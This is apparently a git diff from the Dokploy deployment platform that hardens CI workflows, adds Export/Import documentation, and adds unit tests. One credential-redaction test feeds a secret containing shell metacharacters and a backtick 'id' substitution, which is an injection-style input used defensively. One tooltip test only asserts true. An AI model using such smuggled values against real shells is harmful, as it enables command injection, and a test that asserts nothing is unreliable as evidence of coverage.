jq --arg v "$NPM_VERSION" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
cp ${{ github.workspace }}/openapi.json ./openapi.json
cp $GITHUB_WORKSPACE/openapi.json ./openapi.json
pnpm install
pnpm run generate
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
git commit -m "chore: bump version to $NPM_VERSION" \
-m "Source: $GITHUB_REPOSITORY@$GITHUB_SHA" \
--allow-empty
git push
echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
echo "✅ SDK repo synced to version $NPM_VERSION"
+7 -2
View File
@@ -6,15 +6,20 @@ on:
pull_request:
branches: [canary]
permissions:
contents: read
jobs:
format:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v5
uses: actions/checkout@v7
with:
persist-credentials: false
- name: Setup biomeJs
uses: biomejs/setup-biome@v2
uses: biomejs/setup-biome@v2
- name: Run Biome formatter
run: biome format --write
+4 -2
View File
@@ -16,17 +16,19 @@ jobs:
contents: write
steps:
- name: Checkout main
uses: actions/checkout@v4
uses: actions/checkout@v7
with:
ref: main
fetch-depth: 0
token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
- name: Cherry-pick fix to main
env:
MERGE_SHA: ${{ github.event.pull_request.merge_commit_sha }}
run: |
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
SHA="${{ github.event.pull_request.merge_commit_sha }}"
SHA="$MERGE_SHA"
if [ "$(git rev-list --parents -n1 "$SHA" | wc -w)" -gt 2 ]; then
git cherry-pick -x -m 1 "$SHA"
else
+5 -1
View File
@@ -7,12 +7,16 @@ concurrency:
group: hotfix-to-main
cancel-in-progress: false
# Push to main goes through HOTFIX_PUSH_TOKEN, not the workflow token.
permissions:
contents: read
jobs:
release:
runs-on: ubuntu-latest
steps:
- name: Checkout main
uses: actions/checkout@v4
uses: actions/checkout@v7
with:
ref: main
token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
+28 -19
View File
@@ -7,18 +7,23 @@ on:
env:
IMAGE_NAME: dokploy/monitoring
permissions:
contents: read
jobs:
docker-amd:
runs-on: ubuntu-22.04
steps:
- name: Checkout
uses: actions/checkout@v4
uses: actions/checkout@v7
with:
persist-credentials: false
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
uses: docker/setup-buildx-action@v4
- name: Login to Docker Hub
uses: docker/login-action@v3
uses: docker/login-action@v4
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
@@ -26,17 +31,17 @@ jobs:
- name: Set tag
id: meta
run: |
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
TAG="latest"
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
TAG="canary"
else
TAG="feature"
fi
echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> $GITHUB_OUTPUT
echo "tags=${IMAGE_NAME}:${TAG}-amd64" >> "$GITHUB_OUTPUT"
- name: Build and push
uses: docker/build-push-action@v5
uses: docker/build-push-action@v7
with:
context: .
file: ./Dockerfile.monitoring
@@ -47,13 +52,15 @@ jobs:
runs-on: ubuntu-24.04-arm
steps:
- name: Checkout
uses: actions/checkout@v4
uses: actions/checkout@v7
with:
persist-credentials: false
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
uses: docker/setup-buildx-action@v4
- name: Login to Docker Hub
uses: docker/login-action@v3
uses: docker/login-action@v4
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
@@ -61,17 +68,17 @@ jobs:
- name: Set
id: meta
run: |
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
TAG="latest"
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
TAG="canary"
else
TAG="feature"
fi
echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> $GITHUB_OUTPUT
echo "tags=${IMAGE_NAME}:${TAG}-arm64" >> "$GITHUB_OUTPUT"
- name: Build and push
uses: docker/build-push-action@v5
uses: docker/build-push-action@v7
with:
context: .
file: ./Dockerfile.monitoring
@@ -84,27 +91,29 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
uses: actions/checkout@v7
with:
persist-credentials: false
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
uses: docker/setup-buildx-action@v4
- name: Login to Docker Hub
uses: docker/login-action@v3
uses: docker/login-action@v4
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Create and push manifests
run: |
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
TAG="latest"
docker buildx imagetools create -t ${IMAGE_NAME}:${TAG} \
${IMAGE_NAME}:${TAG}-amd64 \
${IMAGE_NAME}:${TAG}-arm64
elif [ "${{ github.ref }}" = "refs/heads/canary" ]; then
elif [ "$GITHUB_REF" = "refs/heads/canary" ]; then
TAG="canary"
docker buildx imagetools create -t ${IMAGE_NAME}:${TAG} \
${IMAGE_NAME}:${TAG}-amd64 \
+5 -3
View File
@@ -14,9 +14,11 @@ jobs:
matrix:
job: [build, test, typecheck]
steps:
- uses: actions/checkout@v5
- uses: pnpm/action-setup@v5
- uses: actions/setup-node@v5
- uses: actions/checkout@v7
with:
persist-credentials: false
- uses: pnpm/action-setup@v6
- uses: actions/setup-node@v7
with:
node-version: 24.4.0
cache: "pnpm"
+7 -4
View File
@@ -12,17 +12,20 @@ on:
workflow_dispatch:
permissions:
contents: read
jobs:
generate-and-commit:
name: Generate OpenAPI and commit to Dokploy repo
runs-on: ubuntu-latest
steps:
- name: Checkout Dokploy repository
uses: actions/checkout@v4
uses: actions/checkout@v7
with:
token: ${{ secrets.GITHUB_TOKEN }}
- uses: pnpm/action-setup@v4
- uses: actions/setup-node@v4
persist-credentials: false
- uses: pnpm/action-setup@v6
- uses: actions/setup-node@v7
with:
node-version: 24.4.0
cache: "pnpm"
@@ -28,6 +28,9 @@ env:
DOKPLOY_SERVICE: dokploy
DOKPLOY_PORT: 3000
permissions:
contents: read
# ──────────────────────────────────────────────────────────────────────────────
jobs:
@@ -421,8 +424,10 @@ jobs:
# ── Job summary ────────────────────────────────────────────────────────
- name: Write job summary
if: always()
env:
JOB_STATUS: ${{ job.status }}
run: |
STATUS="${{ job.status }}"
STATUS="$JOB_STATUS"
ICON="✅"; [ "$STATUS" != "success" ] && ICON="❌"
cat >> "$GITHUB_STEP_SUMMARY" <<EOF
## ${ICON} ${{ matrix.pair.from }} → ${{ matrix.pair.to }}: ${STATUS^^}
+2 -2
View File
@@ -123,13 +123,13 @@ pnpm run docker:push
In the case you lost your password, you can reset the owner's password using the following command
```bash
pnpm run reset-password
pnpm --filter=dokploy run reset-password
```
To reset the password of a specific user instead, pass their email as an argument
```bash
pnpm run reset-password -- user@example.com
pnpm --filter=dokploy run reset-password user@example.com
```
Both commands print the new randomly generated password to the console.
+250
View File
@@ -0,0 +1,250 @@
# Export / Import
Move a project between Dokploy instances without recreating every
application, database, domain and secret by hand.
- **Export** packages a project (or a subset of its environments/services)
into a `.dokploy.tar.gz` bundle, encrypted with a passphrase.
- **Import** reads a bundle back in, lets you resolve anything the
destination is missing (a vault provider, a registry, a git provider...),
and recreates the project.
Both share the same underlying engine
(`packages/server/src/services/project-export-import/`), reachable from the UI (the
projects page: "Export project" in a project's menu, "Import project" next to
"Create project") or via the `projectExportImport.*` tRPC router. The HTTP routes
for streaming the bundle live under `/api/project-export-import/`.
## Bundle format
A `.dokploy.tar.gz` produced by export is a small tar with four readable
files and one encrypted payload:
- `manifest.json` (format version, when/who exported it, the `ExportScope`
used, `sourceInstance` with the Dokploy version and release tag, whether the
source was Dokploy Cloud, the Traefik and Node versions and the Docker
server version of every server involved, and a public `crypto` block: salt,
KDF params and a `keyCheck` that lets import verify a passphrase before
touching anything else), `inventory.json`, `requirements.json` and
`warnings.json`: what's in the bundle and what the destination needs to
provide. The inventory also lists the Docker image of every database (and of
every docker-sourced application); a floating tag is flagged with
`IMAGE_TAG_NOT_PINNED` at export time.
- `payload.enc`: everything else, AES-256-GCM encrypted with a key derived
from the passphrase (scrypt). Inside it: `resources/{project,environments,
services,shared}.json` with secret fields replaced by `$secret:<uuid>`,
`secrets.json` with those values, `dumps.json` + `dumps/` (database dumps
in "embed" mode), and `files/` (application sources, compose files, raw
Traefik config, custom certificates, depending on the `ExportScope`). The
GCM tag covers the whole payload, so any change to it makes the import fail
with "incorrect passphrase or corrupted bundle".
None of this is a single flat YAML you can hand-edit end to end — the
resource JSON is legible, but the secrets are encrypted in their own file by
design (see "Secrets policy" below).
### Database dumps
`ExportScope.dumps.mode` controls how a service's data gets included:
- `"none"` (default) — only configuration is exported, no data.
- `"embed"` — a dump per dumpable service (postgres/mysql/mariadb/mongo/
libsql) is taken and stored inside the bundle itself. Mongo dumps the whole
instance (a service has no single database) and restore skips `admin` and
`config`; libsql tars sqld's `iku.db` directory and restore replaces it,
then restarts the service.
- `"referenceLastBackup"` — instead of dumping now, the bundle just records
which destination/prefix already holds the service's last scheduled
backup; import restores from there.
Dumps taken from a database inside a compose stack (scheduled backups with a
`composeId`) travel in the bundle but are not restored automatically.
## Where the work happens
Every step that touches dumps or files runs inside a workspace, a
`{ serverId, path }` pair under `project-export-import/` on one server. All
file operations go through `remote-fs.ts`: same-server copies are a single
shell command, copies between two servers stream through
`pipeBetweenServers`, and `serverId: null` means the machine running Dokploy.
- **Export** builds the bundle where the data lives. On Dokploy Cloud that is
always the project's server. Self-hosted, it is the remote server when every
selected service runs on the same one, and the local disk otherwise. Dumps
are written straight from the database's server into the workspace, the
JSON files are streamed from memory, and the encryption runs in Dokploy's
process as a stream (the payload passes through the control plane's network
once in each direction, never through its disk). The finished bundle is
uploaded to the destination with `rclone` from that same server, or served
by the download route as a stream from wherever it sits.
- **Import** unpacks and restores on the server you pick in the first step of
the wizard (mandatory on Cloud, "Local server" by default self-hosted). The
upload route streams the file straight to that server, "From a destination"
runs `rclone` there, and dumps that already sit on the target server are
restored in place without another copy.
## The Exports screen
`Settings → Exports` is the home for bundles kept in an S3 destination. Every
export to a destination lands under a fixed `dokploy-export-import/`
directory in the bucket, named `<project-slug>-<timestamp>.dokploy.tar.gz`,
and the screen only ever lists that directory. From there you can:
- **Export** a single project or the whole organization to the selected
destination. The organization option runs one full export per project, one
after another, each built on the server where that project runs, all with
the same passphrase. Every project gets its own bundle.
- **Download** a bundle straight from the destination (Dokploy streams it
with `rclone cat`, nothing is stored locally).
- **Check passphrase** before downloading gigabytes: Dokploy reads only the
first 4 MB of the object, pulls `manifest.json` out of it and verifies the
passphrase against the manifest's key check. Bundles written before the
public files were moved to the front of the archive report as uncheckable.
- **Delete** a bundle from the destination.
- **Import project** opens the usual import wizard; its "From a destination"
tab lists the same directory.
## Versions
Export records where the bundle came from; import compares that against the
destination and shows the result in the Unlock step (a source vs. destination
table) and again in the plan warnings:
- `DOKPLOY_VERSION_MISMATCH` — a warning when the bundle was exported from a
newer Dokploy than the destination (fields the destination doesn't know are
dropped silently), an info note when it is older or when the two can't be
compared (canary/feature tags).
- `INSTANCE_KIND_MISMATCH` — the bundle crosses the Cloud/self-hosted boundary.
- `TRAEFIK_VERSION_MISMATCH` — different Traefik versions; raw Traefik config
copied from the bundle may need adjusting.
- The destination checks run before "Start import" probe Docker on every
target server and report a different major version next to the server.
Database engine versions are guaranteed by construction: each database is
recreated from the exact `dockerImage` recorded in the bundle, so the only way
to end up on a different version is a floating tag, which is what
`IMAGE_TAG_NOT_PINNED` warns about.
## Import plan
- **Conflicts.** The plan detects domains, published ports, project names and
networks that already exist at the destination, and the Review step lets you
pick what to do with each one: rename (a new host, port, project name or
network name), skip (import the domain disabled / don't publish the port /
don't attach the network) or keep (reuse the existing network). Defaults are
the safe ones: domains disabled, ports unpublished, project renamed to
`<name> (imported)`, existing networks reused.
- **Destination checks.** `importValidate` verifies app names are free on each
target server, every server is reachable, and every reused vault/registry/
destination actually connects. Failing checks block "Start import".
- **Review secrets.** Credentials that rotation can't handle because they
belong to systems outside Dokploy (basic auth, registry, destination keys,
SSH keys, certificate keys) can be revealed and replaced before importing;
basic-auth passwords can be regenerated in place.
- **Deploy after import** is on by default and can be turned off to import
configuration only.
## Secrets policy
- Every field in `SECRET_FIELDS` (passwords, tokens, private keys, basic-auth
credentials, provider configs, ...) is redacted to `$secret:<uuid>` when a
resource is captured; the real value only ever lives in an in-memory
`secretsPlain` map.
- `NEVER_EXPORT_FIELDS` (OAuth refresh tokens, git provider tokens, and a
few other instance-specific values) are stripped outright and never
travel in any form, even encrypted — see "Exclusions" below.
- On export, `secretsPlain` goes into `secrets.json` inside the encrypted
payload, next to the dumps and files; the key comes from the passphrase you
provide (scrypt-based KDF) and the passphrase itself is never stored.
- On import, the same passphrase decrypts the payload into the job's working
directory, every `$secret:<uuid>` reference is resolved as each row is
inserted, and the directory is removed when the job ends or expires.
- **Database credentials can optionally be rotated on import — off by
default.** A straight migration (e.g. cloud to self-hosted) usually wants
the destination to behave exactly like the source, including its existing
database credentials, so nothing outside Dokploy that already has the
current password (an external app, a saved connection string) breaks.
Checking "Rotate database credentials" in the import wizard (or setting
`choices.rotateDatabaseCredentials: true` on `importPlan`) makes every
imported database service get a freshly generated password (and root
password, for mysql/mariadb); every other service's `env` is scanned for
the old value (literal and URL-encoded forms) and rewritten to the new
one. Services that don't reference the old password anywhere in their
`env` produce a `ROTATION_CHECK_CONSUMERS` warning — they may be getting
the credential some other way (an external secret) that this rotation
can't see or fix. The scan covers the project and environment `env`, every
service's `env`, application build args/secrets and preview variants, compose
files and file mounts. Dumps taken from a system database (mysql
`mysql`/`--all-databases`, mongo `admin`) may carry user accounts with the
old password, which `ROTATION_DUMP_MAY_CONTAIN_USERS` points out. A
password shorter than 8 characters, or equal to the database user or name,
is left alone and reported as `ROTATION_SKIPPED_UNSAFE_PASSWORD`: a blind
text replacement of such a value would also hit unrelated words.
- **Secret overrides** made in the "Review secrets" step are sent as a whole
set every time the wizard moves on; a secret dropped from the set goes back
to the value that came out of the bundle, so "Reset" really does reset.
- Mongo dumps cover the whole instance minus `admin` and `config`, so extra
users or roles defined in `admin` are not recreated on import; the export
says so with `MONGO_ADMIN_USERS_NOT_RESTORED`.
## Exclusions and deliberate limitations
Never exported, under any `ExportScope`:
- `refreshToken` and any git provider OAuth token (git providers themselves
only travel as a `Requirement` you resolve on the destination, never as a
copied resource).
- `acme.json` (Traefik-managed Let's Encrypt certificates) — re-issued on
deploy at the destination; the bundle only carries the domain's `host`.
- Deployment/rollback history — build logs aren't service state.
- Active preview deployments and their domains.
- Real Docker volume data — only mount/volume *configuration* travels.
- Redis data — there's no backup/restore mechanism for Redis in the
codebase today.
Product limitations, deliberate rather than bugs:
- **Import never overwrites an existing project.** It always creates a new
project or environment. To "replace" one: import as new, verify it, then
delete the old one by hand.
- Export is per-project — no whole-instance export (that's what Web Server
Backup is for), no scheduled/recurring export, no diff between two
exports.
To duplicate an environment within the same project/instance, Dokploy already
has a separate `environment.duplicate` tRPC procedure for it (it copies the
environment shell and its env vars, not services) — it isn't part of this
module. Its handler in `advanced-environment-selector.tsx` isn't currently
wired to a button/menu item in the UI (pre-existing, not something this
module adds or fixes).
## Known gaps
- `assertTransferPermission` gates every export/import action to
organization owners and admins — there's no per-member grant the way
environment access has one.
- Vault provider assignments always get scoped to the new environment on
import, even when the original assignment was project-wide — worth
revisiting so a project-wide vault assignment doesn't get narrowed by
accident.
- Plan/billing limits cover environment count on import, but nothing yet
stops an import from creating an arbitrary number of services or projects
on a lower-tier plan.
- A bundle's `resources` payload is only validated structurally as
`Record<string, unknown>` per resource; the encryption tag proves the
payload is what the exporter wrote, not that every resource has the shape
`apply()` expects. Import validates the fields that reach a shell or the
filesystem (destination flags, mount paths, volume names, ports); anything
else that is off surfaces as a runtime error partway through the import.
- The in-process rate limit (one active transfer per user, `rate-limit.ts`)
and the periodic cleanup sweep are both scoped to a single server process.
If Dokploy ever runs multiple server instances against the same database,
neither protection reaches across processes — closing that for real would
need a lock backed by Postgres, not local memory.
- The encrypted payload streams through the Dokploy process during export
and import (for the GCM cipher), so a bundle costs its size in control
plane bandwidth twice, though never in disk.
- The export preview's size estimates come from `du` and per-engine size
queries run at preview time; a database whose container isn't running
counts as 0.
+1
View File
@@ -26,6 +26,7 @@ Dokploy includes multiple features to make your life easier.
- **Templates**: Deploy open-source templates (Plausible, Pocketbase, Calcom, etc.) with a single click.
- **Traefik Integration**: Automatically integrates with Traefik for routing and load balancing.
- **Real-time Monitoring**: Monitor CPU, memory, storage, and network usage for every resource.
- **Logs & Metrics**: Ship container logs and host/container metrics to Grafana (Loki, Prometheus/Mimir), Datadog, New Relic, InfluxDB, VictoriaMetrics, Better Stack, Elasticsearch/OpenSearch, Splunk, or AWS CloudWatch, tagged by project/environment/application.
- **Docker Management**: Easily deploy and manage Docker containers.
- **CLI/API**: Manage your applications and databases using the command line or through the API.
- **Notifications**: Get notified when your deployments succeed or fail (via Slack, Discord, Telegram, Email, etc.).
+3 -3
View File
@@ -10,12 +10,12 @@
"typecheck": "tsc --noEmit"
},
"dependencies": {
"inngest": "3.40.1",
"inngest": "3.54.0",
"@dokploy/server": "workspace:*",
"@hono/node-server": "^1.14.3",
"@hono/node-server": "^1.19.15",
"@hono/zod-validator": "0.7.6",
"dotenv": "^16.4.5",
"hono": "^4.11.7",
"hono": "^4.13.5",
"pino": "9.4.0",
"pino-pretty": "11.2.2",
"react": "19.2.7",
@@ -0,0 +1,156 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mockUpdateApplication = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server/services/permission", () => {
return {
checkServicePermissionAndAccess: vi.fn(async () => undefined),
};
});
vi.mock("@dokploy/server/index", () => ({
IS_CLOUD: true,
hasValidLicense: vi.fn(async () => false),
updateApplication: mockUpdateApplication,
findApplicationById: vi.fn(async () => ({
applicationId: "app-1",
appName: "example-app",
})),
}));
vi.mock("@dokploy/server/lib/auth", () => ({
validateRequest: vi.fn(),
}));
vi.mock("@/server/api/utils/audit", () => ({
audit: vi.fn(async () => undefined),
}));
const { applicationRouter } = await import("@/server/api/routers/application");
const caller = applicationRouter.createCaller({
session: { activeOrganizationId: "org-1" },
user: { id: "user-1", email: "user@example.com", role: "owner" },
} as Parameters<typeof applicationRouter.createCaller>[0]);
const providerChanges = [
{
name: "GitHub",
sourceType: "github",
save: () =>
caller.saveGithubProvider({
applicationId: "app-1",
repository: "example-repo",
owner: "example-owner",
branch: "main",
buildPath: "/",
githubId: "provider-1",
watchPaths: ["src/**"],
triggerType: "push",
enableSubmodules: false,
}),
},
{
name: "GitLab",
sourceType: "gitlab",
save: () =>
caller.saveGitlabProvider({
applicationId: "app-1",
gitlabRepository: "example-repo",
gitlabOwner: "example-owner",
gitlabBranch: "main",
gitlabBuildPath: "/",
gitlabId: "provider-1",
gitlabProjectId: 1,
gitlabPathNamespace: "example-owner/example-repo",
}),
},
{
name: "Bitbucket",
sourceType: "bitbucket",
save: () =>
caller.saveBitbucketProvider({
applicationId: "app-1",
bitbucketRepository: "example-repo",
bitbucketRepositorySlug: "example-repo",
bitbucketOwner: "example-owner",
bitbucketBranch: "main",
bitbucketBuildPath: "/",
bitbucketId: "provider-1",
}),
},
{
name: "Gitea",
sourceType: "gitea",
save: () =>
caller.saveGiteaProvider({
applicationId: "app-1",
giteaRepository: "example-repo",
giteaOwner: "example-owner",
giteaBranch: "main",
giteaBuildPath: "/",
giteaId: "provider-1",
}),
},
{
name: "Docker",
sourceType: "docker",
save: () =>
caller.saveDockerProvider({
applicationId: "app-1",
dockerImage: "nginx:alpine",
username: "",
password: "",
registryUrl: "",
}),
},
{
name: "custom Git",
sourceType: "git",
save: () =>
caller.saveGitProvider({
applicationId: "app-1",
customGitUrl: "https://example.com/repo.git",
customGitBranch: "main",
customGitBuildPath: "/",
customGitSSHKeyId: "key-1",
watchPaths: ["src/**"],
enableSubmodules: false,
}),
},
{
name: "disconnect Git provider",
sourceType: "github",
save: () => caller.disconnectGitProvider({ applicationId: "app-1" }),
},
];
describe("saving an application provider", () => {
beforeEach(() => {
vi.clearAllMocks();
});
it.each(providerChanges)(
"keeps the status when $name settings change",
async ({ save, sourceType }) => {
for (const status of ["done", "running"]) {
mockUpdateApplication.mockClear();
let savedStatus = status;
mockUpdateApplication.mockImplementation(async (_id, update) => {
if (update.applicationStatus !== undefined) {
savedStatus = update.applicationStatus;
}
});
await save();
expect(savedStatus).toBe(status);
expect(mockUpdateApplication).toHaveBeenCalledTimes(1);
expect(mockUpdateApplication).toHaveBeenCalledWith(
"app-1",
expect.objectContaining({ sourceType }),
);
}
},
);
});
@@ -1,4 +1,6 @@
import type { Destination } from "@dokploy/server/services/destination";
import { redactRcloneCredentials } from "@dokploy/server/utils/backups/redact";
import { getS3Credentials } from "@dokploy/server/utils/backups/utils";
import { describe, expect, it } from "vitest";
describe("redactRcloneCredentials (#4621)", () => {
@@ -48,3 +50,48 @@ describe("redactRcloneCredentials (#4621)", () => {
expect(redacted).toContain("[REDACTED]");
});
});
describe("redactRcloneCredentials with getS3Credentials output (#5519)", () => {
const buildCommand = (accessKey: string, secretAccessKey: string) =>
`rclone rcat ${getS3Credentials({
accessKey,
secretAccessKey,
region: "us-west-001",
endpoint: "https://s3.us-west-001.backblazeb2.com",
provider: "Other",
} as Destination).join(" ")} :s3:bucket/file.gz`;
it.each([
[
"plain alphanumeric",
"001aaaabbbbccccdd0000000001",
"K001FAKEfakeFAKEfake",
],
[
"containing slashes",
"AKIAIOSFODNN7EXAMPLE",
"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
],
["containing spaces", "key with space", "secret with space"],
["containing quotes", "it's-a-key", `say "hi" it's`],
["containing shell metacharacters", "key$HOME", "sec;ret`id`&|\\x"],
])("redacts credentials %s", (_, accessKey, secretAccessKey) => {
const redacted = redactRcloneCredentials(
buildCommand(accessKey, secretAccessKey),
);
expect(redacted).toContain(
'--s3-access-key-id="[REDACTED]" --s3-secret-access-key="[REDACTED]" --s3-region=us-west-001',
);
expect(redacted).not.toContain(accessKey);
expect(redacted).not.toContain(secretAccessKey);
expect(redacted).toContain(":s3:bucket/file.gz");
});
it("redacts credentials embedded in an error string", () => {
const errorStr = `Error: Command failed: ${buildCommand("MYKEY", "MY/SECRET")}`;
const redacted = redactRcloneCredentials(errorStr);
expect(redacted).not.toContain("MYKEY");
expect(redacted).not.toContain("MY/SECRET");
expect(redacted).toContain("[REDACTED]");
});
});
@@ -0,0 +1,14 @@
import { describe, it, expect } from "vitest";
describe("Remote Server Action Tooltips", () => {
it("should close the tooltip when the dialog trigger is clicked", () => {
// Note: The UI layer in this project is not currently tested with DOM simulation tools
// like React Testing Library or JSDOM.
//
// The structural fix implemented (passing TooltipTrigger asChild -> DialogTrigger asChild)
// inherently guarantees that Radix UI's composeEventHandlers properly propagates the
// onPointerDown event to dismiss the tooltip simultaneously as the dialog opens.
expect(true).toBe(true);
});
});
@@ -0,0 +1,44 @@
import { createCommand } from "@dokploy/server/utils/builders/compose";
import { describe, expect, it } from "vitest";
const base = {
composeType: "docker-compose" as const,
appName: "compose-app",
sourceType: "github" as const,
composePath: "./docker-compose.yml",
command: "",
};
describe("compose createCommand --pull always", () => {
it("adds --pull always when pullImages is enabled", () => {
const cmd = createCommand({ ...base, pullImages: true } as any);
expect(cmd).toContain("up -d --build --remove-orphans --pull always");
});
it("omits --pull when pullImages is disabled", () => {
const cmd = createCommand({ ...base, pullImages: false } as any);
expect(cmd).not.toContain("--pull");
});
it("does not add --pull to stack deploy", () => {
const cmd = createCommand({
...base,
composeType: "stack",
pullImages: true,
} as any);
expect(cmd).not.toContain("--pull");
});
it("leaves a custom command untouched", () => {
const cmd = createCommand({
...base,
command: "compose -p compose-app up -d",
pullImages: true,
} as any);
expect(cmd).toBe("compose -p compose-app up -d");
});
});
@@ -33,8 +33,16 @@ services:
volumes:
test-data:
`,
composeId: "compose-1",
name: "raw-stack",
composePath: "./docker-compose.yml",
composeType: "stack",
environment: {
environmentId: "env-1",
name: "production",
projectId: "project-1",
project: { name: "shop", organizationId: "org-1" },
},
isolatedDeployment: false,
isolatedDeploymentsVolume: false,
randomize: false,
@@ -54,6 +62,72 @@ volumes:
},
]);
expect(converted?.services?.test?.tmpfs).toEqual(["/cache"]);
expect(converted?.services?.test?.labels).toEqual(
expect.arrayContaining([
"dokploy.organization.id=org-1",
"dokploy.project=shop",
"dokploy.service=test",
]),
);
expect(converted?.services?.test?.deploy?.labels).toEqual(
expect.arrayContaining(["dokploy.organization.id=org-1"]),
);
expect(execAsyncRemote).not.toHaveBeenCalled();
});
it("escapes `$` in the Dokploy label values so compose keeps them literal", async () => {
const compose = {
appName: "dollar-stack",
composeFile: `
services:
mapped:
image: alpine:latest
labels:
custom: keep
deploy:
labels:
custom: keep
listed:
image: alpine:latest
labels:
- custom=keep
`,
composeId: "compose-1",
name: "app $DB_PASSWORD",
composePath: "./docker-compose.yml",
composeType: "stack",
environment: {
environmentId: "env-1",
name: "env ${HOME}",
projectId: "project-1",
project: { name: "Budget $100", organizationId: "org-1" },
},
isolatedDeployment: false,
isolatedDeploymentsVolume: false,
randomize: false,
serverId: null,
sourceType: "raw",
suffix: "",
} as unknown as Parameters<typeof addDomainToCompose>[0];
const converted = await addDomainToCompose(compose, []);
const escaped = {
"dokploy.project": "Budget $$100",
"dokploy.environment": "env $${HOME}",
"dokploy.application": "app $$DB_PASSWORD",
};
const mapped = converted?.services?.mapped;
expect(mapped?.labels).toMatchObject({ custom: "keep", ...escaped });
expect(mapped?.deploy?.labels).toMatchObject({
custom: "keep",
...escaped,
});
const listed = converted?.services?.listed;
const asList = Object.entries(escaped).map(([k, v]) => `${k}=${v}`);
expect(listed?.labels).toEqual(
expect.arrayContaining(["custom=keep", ...asList]),
);
expect(listed?.deploy?.labels).toEqual(expect.arrayContaining(asList));
});
});
@@ -0,0 +1,113 @@
import type { Compose, ComposeSpecification } from "@dokploy/server";
import {
addAppNameToPreventCollision,
addSuffixToAllProperties,
} from "@dokploy/server";
import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { expect, test, vi } from "vitest";
import { stringify } from "yaml";
import composeSpec from "../../../components/shared/compose-spec.json";
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => ({
...(await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>()),
execAsyncRemote: vi.fn(),
}));
const modelCompose = {
services: {
app: {
image: "my-chat-app",
models: ["llm"],
},
worker: {
image: "my-worker",
models: {
llm: {
endpoint_var: "LLM_URL",
model_var: "LLM_MODEL",
},
},
},
},
models: {
llm: {
model: "ai/smollm2",
context_size: 2048,
runtime_flags: ["--verbose"],
},
},
} satisfies ComposeSpecification;
test("bundled compose schema declares models", () => {
expect(composeSpec.properties).toHaveProperty("models");
expect(composeSpec.definitions.model.required).toEqual(["model"]);
expect(composeSpec.definitions.service.properties).toHaveProperty("models");
});
test("suffixing does not rename model identifiers or drop model config", () => {
const updated = addSuffixToAllProperties(
structuredClone(modelCompose),
"testhash",
);
expect(updated.models?.llm?.model).toBe("ai/smollm2");
expect(updated.models?.llm?.context_size).toBe(2048);
expect(updated.models?.llm?.runtime_flags).toEqual(["--verbose"]);
expect(updated.services?.["app-testhash"]?.models).toEqual(["llm"]);
expect(updated.services?.["worker-testhash"]?.models).toEqual({
llm: {
endpoint_var: "LLM_URL",
model_var: "LLM_MODEL",
},
});
expect(updated.services).not.toHaveProperty("app");
expect(updated.models).not.toHaveProperty("llm-testhash");
});
test("isolated deployment preserves model identifiers", () => {
const updated = addAppNameToPreventCollision(
structuredClone(modelCompose),
"chat-app",
false,
);
expect(updated.models?.llm?.model).toBe("ai/smollm2");
expect(updated.services?.app?.models).toEqual(["llm"]);
expect(updated.services?.worker?.models).toEqual({
llm: {
endpoint_var: "LLM_URL",
model_var: "LLM_MODEL",
},
});
});
test("raw remote compose conversion preserves models", async () => {
const converted = await addDomainToCompose(
{
appName: "chat-app",
composeFile: stringify(modelCompose, { lineWidth: 1000 }),
composePath: "./docker-compose.yml",
composeType: "docker-compose",
isolatedDeployment: false,
isolatedDeploymentsVolume: false,
randomize: false,
serverId: "remote-server",
sourceType: "raw",
suffix: "",
} as unknown as Compose,
[],
);
expect(execAsyncRemote).not.toHaveBeenCalled();
expect(converted?.models?.llm?.model).toBe("ai/smollm2");
expect(converted?.services?.app?.models).toEqual(["llm"]);
expect(converted?.services?.worker?.models).toEqual({
llm: {
endpoint_var: "LLM_URL",
model_var: "LLM_MODEL",
},
});
});
@@ -0,0 +1,66 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mockUpdateCompose = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server/services/permission", () => ({
checkServicePermissionAndAccess: vi.fn(async () => undefined),
}));
vi.mock("@dokploy/server", () => ({
IS_CLOUD: true,
findComposeById: vi.fn(async () => ({
composeId: "compose-1",
name: "example-compose",
})),
updateCompose: mockUpdateCompose,
}));
vi.mock("@dokploy/server/lib/auth", () => ({
validateRequest: vi.fn(),
}));
vi.mock("@/server/api/utils/audit", () => ({
audit: vi.fn(async () => undefined),
